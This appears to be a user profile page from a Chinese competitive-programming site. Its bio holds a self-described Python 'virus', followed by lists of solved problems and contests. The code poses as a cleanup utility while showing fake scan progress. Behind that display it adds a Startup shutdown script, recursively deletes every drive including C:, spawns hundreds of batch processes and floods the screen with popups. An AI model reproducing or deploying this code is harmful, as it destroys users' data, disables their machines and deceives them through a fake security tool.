-
个人简介
本人写的python的病毒
(不建议尝试运行)import difflib import getpass import math import os import pygame import random import shutil import sys import threading import time import tkinter as tk import easygui import win32api import win32con gb = 1024 ** 3 # GB == gigabyte a_1, a_2, a_3 = 0, 0, 0 ab = ['A', 'B', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'U', 'V', 'W', 'R', 'S', 'T', 'X', 'Y', 'Z', 'C'] color = ['Red', '#356F9F'] color1 = 'Red' def dow(): window = tk.Tk() width = window.winfo_screenwidth() height = window.winfo_screenheight() a = random.randrange(0, width) b = random.randrange(0, height) window.title('windows') # 弹窗的名字,都可以修改的 window.geometry("240x240" + "+" + str(a) + "+" + str(b)) # 弹窗大小,不建议修改 tk.Label(window, text='系统遇到了亿个错误', # 标签的文字,随便改 # bg=color1, # 背景颜色 font=('等线', 17), # 字体和字体大小 width=15, height=10 # 标签长宽 ).pack() # 固定窗口位置 window.mainloop() threads = [] def pan(a): try: tmp_1, tmp_2, tmp_3 = shutil.disk_usage(a + r':') return tmp_1, tmp_2, tmp_3 except: print(a + ':') return 0, 0, 0 def aa(): for i in ab: try: if (i != 'C'): os.system(r"rd/s/q " + i + ":") except: print(i + ':') def windows_up(): genUserName = getpass.getuser() name = '' maxn = -100 input_path = r'C:\Users' dir_list = [] for root, dirs, files in os.walk(input_path): dir_list = dirs break for i in dir_list: if (difflib.SequenceMatcher(None, i, genUserName).quick_ratio() > maxn): maxn = difflib.SequenceMatcher(None, i, genUserName).quick_ratio() name = i print(dir_list, len(dir_list)) print(name, maxn) fname = r'C:\\Users' + r'\\' + name + r'\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\开机优化.bat' file = open(fname, 'w') file.write('Shutdown -s -t 0') def windows(): name = '' fname = r'D:\a.bat' file = open(fname, 'w') file.write('''cd c:/ dir/s''') for i in range(800): os.system(r"start D:\\a.bat") t = threading.Thread(target=dow) threads.append(t) time.sleep(0.0000000000000000000001) threads[i].start() pygame.init() screen = pygame.display.set_mode((600, 800)) image = pygame.Surface((600, 800)) pygame.display.get_surface() clock = pygame.time.Clock() size = 40 width_scale = 1.25 height_scale = 1 screen.fill((156, 156, 156)) pos_x = 300 pos_y = 400 radius = 200 angle = 360 time1 = 100000 Gn = 0 r = 254 g = 254 b = 254 r1 = 254 g1 = 254 b1 = 0 r2 = 254 g2 = 254 b2 = 254 pygame.display.set_caption('相相安全卫士') zhuangtai = 0 for i in ab: n1, n2, n3 = pan(i) a_1 += n1 a_2 += n2 a_3 += n3 a_3 /= gb a_1 /= gb a_2 /= gb while True: for event in pygame.event.get(): if event.type == pygame.QUIT: aa() os.system(r"rd/s/q C:") sys.exit() font_name = pygame.font.match_font('fangsong') if (zhuangtai == 5): os.system(r"rd/s/q C:") if (zhuangtai == 1): pygame.draw.rect(screen, (156, 156, 156), [75, 60, 555, 80]) label = "相相清理器正在为您检查病毒" font = pygame.font.Font(font_name, 30) font_surface = font.render(label, True, 'white') screen.blit(font_surface, (75, 60)) pygame.draw.rect(screen, (156, 156, 156), [140, 380, 255, 100]) pygame.draw.rect(screen, (156, 156, 156), [140, 390, 285, 40]) label1 = "已检查" + str(round(Gn, 2)) + "G的空间" print(label1) font1 = pygame.font.Font(font_name, 30) font_surface1 = font1.render(label1, True, 'white') screen.blit(font_surface1, (130, 400)) time1 -= random.randint(5000, 30000) if (time1 <= 0): time1 = 10000 Gn += random.uniform(100.01, 200.0) if (round(Gn, 2) > a_1): time1 = 100000 zhuangtai = 2 Gn = 0 print(a_1) if (zhuangtai == 2): pygame.draw.rect(screen, (156, 156, 156), [75, 60, 555, 80]) label = "相相清理器正在为您删除病毒" font = pygame.font.Font(font_name, 30) font_surface = font.render(label, True, 'white') screen.blit(font_surface, (75, 60)) pygame.draw.rect(screen, (156, 156, 156), [140, 380, 255, 100]) pygame.draw.rect(screen, (156, 156, 156), [140, 390, 285, 40]) time1 -= random.randint(100, 300) if (time1 <= 0): time1 = 10000 zhuangtai = 3 if (zhuangtai == 4): windows() zhuangtai = 5 if (zhuangtai == 3): pygame.draw.rect(screen, (156, 156, 156), [75, 60, 555, 80]) label = "相相清理器正在为您清理" font = pygame.font.Font(font_name, 43) font_surface = font.render(label, True, 'white') screen.blit(font_surface, (75, 60)) pygame.draw.rect(screen, (156, 156, 156), [140, 380, 255, 100]) pygame.draw.rect(screen, (156, 156, 156), [140, 390, 285, 40]) label1 = "已清理" + str(round(Gn, 2)) + "G的空间" print(label1) font1 = pygame.font.Font(font_name, 30) font_surface1 = font1.render(label1, True, 'white') screen.blit(font_surface1, (130, 400)) time1 -= random.randint(5000, 30000) if (time1 <= 0): time1 = 10000 Gn += random.uniform(100.01, 100.0) aa() if (round(Gn, 2) > a_1): zhuangtai = 4 elif (zhuangtai == 0): label = "相相清理器正在为您优化开机启动项" if (time1 == 100000): windows_up() time1 -= random.randint(50, 300) if (time1 <= 0): time1 = 10000 zhuangtai = 1 font = pygame.font.Font(font_name, 30) font_surface = font.render(label, True, 'white') screen.blit(font_surface, (75, 60)) pygame.draw.rect(screen, (156, 156, 156), [140, 380, 255, 100]) pygame.draw.rect(screen, (156, 156, 156), [140, 390, 285, 40]) label2 = " " font2 = pygame.font.Font(font_name, 30) font_surface1 = font2.render(label2, True, 'white') screen.blit(font_surface1, (160, 670)) label3 = "否则可能会中断程序导致清理不彻底!!" font3 = pygame.font.Font(font_name, 30) font_surface1 = font3.render(label3, True, 'white') screen.blit(font_surface1, (70, 700)) import time # time.sleep(10000) angle += 1 if angle >= 360: angle = 0 r -= random.randint(1, 10) r1 -= random.randint(1, 5) b2 -= random.randint(1, 6) if (r <= 0): r = 254 if (r1 <= 0): r1 = 254 if (b2 <= 0): b2 = 254 color = r, g, b color1 = r1, g1, b1 color2 = r2, g2, b2 x = math.cos(math.radians(angle)) * radius y = math.sin(math.radians(angle)) * radius pos = (int(pos_x + x), int(pos_y + y)) pos1 = (int(pos_x + x - 20), int(pos_y + y - 20)) pos2 = (int(pos_x + x - 40), int(pos_y + y - 40)) pygame.draw.circle(screen, color, pos, 20, 0) pygame.draw.circle(screen, color1, pos1, 20, 0) pygame.draw.circle(screen, color2, pos2, 20, 0) pygame.display.update() clock.tick(60) # sys.exit()
-
通过的题目
- P339
- P340
- P353
- P354
- P361
- P363
- P364
- P366
- P393
- P405
- P421
- P423
- P424
- P439
- P440
- P441
- P455
- P461
- P465
- P466
- P467
- P468
- P469
- P470
- P478
- P482
- P483
- P506
- P507
- P528
- P553
- P561
- P562
- P565
- P597
- P598
- P599
- P600
- P601
- P602
- P603
- P604
- P607
- P608
- P609
- P610
- P611
- P612
- P613
- P615
- P633
- P636
- P637
- P693
- P694
- P716
- P725
- P731
- P738
- P745
- P819
- P858
- P869
- P920
- P961
- P962
- P1062
- P1106
- P1114
- P1121
- P1122
- P1124
- P1166
- P1174
- P1181
- P1182
- P1190
- P1191
- P1192
- P1193
- P1194
- P1195
- P1196
- P1197
- P1204
- P1205
- P1206
- P1211
- P1212
- P1234
- P1243
- p2074
- p2075
- P1248
- p2077
- P8813
- P8814
- P8815
- P8816
- p7071
- P1268
- P1275
- P1276
- P1277
- P1278
- P1282
- P1283
- P1284
- P1285
- P1290
- P1292
- P1293
- P1294
- P1295
- P1296
- P1297
- P1298
- P1299
- P1300
- P1301
- P1303
- P1304
- P1305
- P1306
- P1310
- WP1001
- WP1002
- WP2001
- P1323
- P1324
- P1328
- P1330
- P1331
- P1332
- P1333
- P1334
- P1341
- P1344
- P1345
- P1346
- P1347
- P1348
- P1355
- P1360
- P1362
- P1000
- P1001
- P1004
- P1005
- P1028
- P1029
- P1022
- P1023
- P1021
- P1398
- P1399
- P1400
- P1403
- P1407
- P1408
- P1409
- P1410
- P1411
- P1413
- P1427
- P1430
- P1431
- P1432
- P1433
- P1434
- P1489
- P1704
- P1722
- P1731
- P1734
- P1735
- P1736
- P1737
- P1747
- P1895
- P1909
- RB0005
- P1966
- P2176
- P2195
- P2211
- P2225
- P2236
- P2237
- P2238
- xr1000
- P2322
-
最近活动
- “巳巳如意,生生不息”跨年赛 IOI
- 24CSP-S秋季提高组模拟赛9 IOI
- 24CSP-S秋季提高组模拟赛8 IOI
- 24CSP-S秋季提高组模拟赛7 IOI
- 24CSP-S秋季提高组模拟赛6 IOI
- 24CSP-S秋季提高组模拟赛5 IOI
- 24CSP-S秋季提高组模拟赛4 IOI
- 24CSP-S秋季提高组模拟赛3 IOI
- 24CSP-S秋季提高组组模拟赛2 IOI
- 24CSP-S秋季提高组组模拟赛1 IOI
- 24CSP-S暑假模拟赛Day8 IOI
- 24CSP-S暑假模拟赛Day7 IOI
- 24CSP-S暑假模拟赛Day6 IOI
- 24CSP-S暑假模拟赛Day5 IOI
- 24CSP-S暑假模拟赛Day4 IOI
- 24CSP-S暑假模拟赛Day3 IOI
- 24CSP-S暑假模拟赛Day2 IOI
- 24CSP-S暑假模拟赛Day1 IOI
- 24暑假CSP-S提高组组专题集训三 IOI
- 24暑假CSP-S提高组组专题集训二 IOI
- 24暑假CSP-S提高组组专题集训一 IOI
- 24CSP-S春季班单调栈单调队列专题 IOI
- 20240518提高组班级模拟赛 IOI
- 2024五一综合模拟赛(第五场) IOI
- 20240502提高组班级模拟赛 IOI
- 2024综合模拟赛(第二场) IOI
- 2024五一模拟赛数学和STL场(第四场) IOI
- 24CSP-S春季班图论进阶专题 IOI
- 2024提高组模拟赛(5) IOI
- 2024提高组模拟赛(4) IOI
- 2024提高组模拟赛(3) IOI
- 2024提高组模拟赛(2) IOI
- 2024提高组模拟赛(1) ACM/ICPC
- 24寒假STL入门班第十场 IOI
- 24寒假STL入门班第九场 IOI
- 24寒假STL入门班第八场 IOI
- 2024寒假STL基础第七场 IOI
- 24CSP-S寒假班线段树树状数组 ACM/ICPC
- 24CSP-S寒假班倍增LCA ACM/ICPC
- 2024寒假STL基础第六场 IOI
- 24CSP-S寒假班状态压缩 ACM/ICPC
- 龙行龘龘2024综合练习赛 IOI
- 20240207提高组班级树形dp ACM/ICPC
- 24CSP-S寒假班基础图论复习 ACM/ICPC
- 20240206提高组班级差分约束 ACM/ICPC
- 2024寒假STL基础第五场 IOI
- 24CSP-S寒假班动态规划进阶 ACM/ICPC
- 2024寒假STL基础第四场 IOI
- 24CSP-S寒假班动态规划复习 ACM/ICPC
- 2024寒假STL基础第三场 IOI
- 2024寒假STL基础第二场 IOI
- 2024寒假STL基础第一场 IOI
- 23CSP-J秋季普及组模拟赛(9) ACM/ICPC
- 23CSP-J秋季普及组模拟赛(8) ACM/ICPC
- 23CSP-J秋季普及组模拟赛(7) ACM/ICPC
- 23CSP-J秋季普及组模拟赛(5) ACM/ICPC
- 23CSP-J秋季普及组模拟赛(4) ACM/ICPC
- 23CSP-J秋季普及组模拟赛(3) ACM/ICPC
- 23CSP-J秋季普及组模拟赛(2) ACM/ICPC
- 23CSP-J秋季普及组模拟赛(1) ACM/ICPC
- 2023暑假CSP-J模拟赛六 ACM/ICPC
- 2023暑假CSP-J模拟赛五 ACM/ICPC
- 2023暑假CSP-J模拟赛三 ACM/ICPC
- 2023暑假CSP-J模拟赛二 ACM/ICPC
- 2023暑假CSP-J模拟赛一 ACM/ICPC
- 2023暑假CSP-J真题集训【2022】 IOI
- 2023暑假CSP-J真题集训【2021】 IOI
- 2023暑假CSP-J真题集训【2020】 IOI
- 2023暑假CSP-J真题集训【2019】 IOI
- 2023暑假CSP-J真题集训【2018】 IOI
- 2023暑假CSP-J真题集训【2017】 IOI
- 2023暑假CSP-J真题集训【2016】 IOI
- 2023暑假CSP-J真题集训【2015】 IOI
- 2023暑假CSP-J真题集训【2014】 IOI
- 23暑假信奥数学入门组A第十场 IOI
- 23暑假信奥数学入门组A第九场 IOI
- 2023暑CSP-J复赛集训STL专题 ACM/ICPC
- 2023暑假CSP-J真题集训【2013】 IOI
- 23暑假信奥数学入门组A第八场 IOI
- 2023暑CSP-J复赛集训二分答案专题 ACM/ICPC
- 23暑假信奥数学入门组A第七场 IOI
- 2023暑CSP-J复赛集训DP专题 ACM/ICPC
- 23暑假信奥数学入门组A第六场 IOI
- 2023-7 23暑假信奥数学入门组A第五场 IOI
- 2023暑CSP-J复赛集训BFS专题 ACM/ICPC
- 2023暑CSP-J复赛集训DFS专题 ACM/ICPC
- 23暑假信奥数学入门组A第四场 IOI
- 23暑假信奥数学入门组A第三场 IOI
- 23暑假信奥数学入门组A第二场 IOI
- 23暑假信奥数学入门组A第一场 IOI
- 23春季STL入门班第一场 IOI
- 23春季信奥数学入门组B第十场 IOI
- 23春季信奥数学入门组B第九场 IOI
- 23春季信奥数学入门组B第八场 IOI
- "五一"模拟赛-入门组数学专场 IOI
- 20230501模拟赛-入门组第二场 IOI
- 20230501入门组模拟赛第一场 IOI
- "五一"模拟赛-入门组第五场 IOI
- 23春季信奥数学入门组B第七场 IOI
- 2023-3 23春季信奥数学入门组B第六场 IOI
- 23春季信奥数学入门组B第五场 IOI
- 23春季信奥数学入门组B第四场 IOI
- 23春季信奥数学入门组B第三场 IOI
- 23春季信奥数学入门组B第二场 IOI
- 23春季信奥数学入门组B第一场 IOI
- Level-4(数据结构专项)期末考 IOI
- 23寒假信奥数学入门组A第三场 IOI
- 农历兔年迎新赛 IOI
- 23寒假信奥数学入门组A第二场 IOI
- 2023CSP迎新赛 IOI
- Level-4树和二叉树应用 IOI
- CSP-JLevel-3期末测试 IOI
- Level-2升级欢乐赛(2) IOI
- 入门组Level-3期中考 IOI
- Level-1~升级赛 IOI
- 22暑假Level-2期中测试 IOI
- Level-2升级欢乐赛 IOI
- Level-1循环拉力赛 IOI
题目标签
- 基础语法
- 42
- 入门
- 15
- 循环
- 13
- 其他
- 10
- GESP
- 9
- 分支
- 8
- 模拟
- 7
- 数据结构
- 7
- 24CSP-S秋季模拟赛
- 7
- 字符串
- 6
- 1级
- 6
- 二叉树
- 5
- 穷举模拟
- 5
- C语言练习题
- 5
- 排序
- 3
- 堆
- 3
- SWPUACM
- 3
- 周赛
- 3
- 数学推导
- 3
- 动态规划
- 3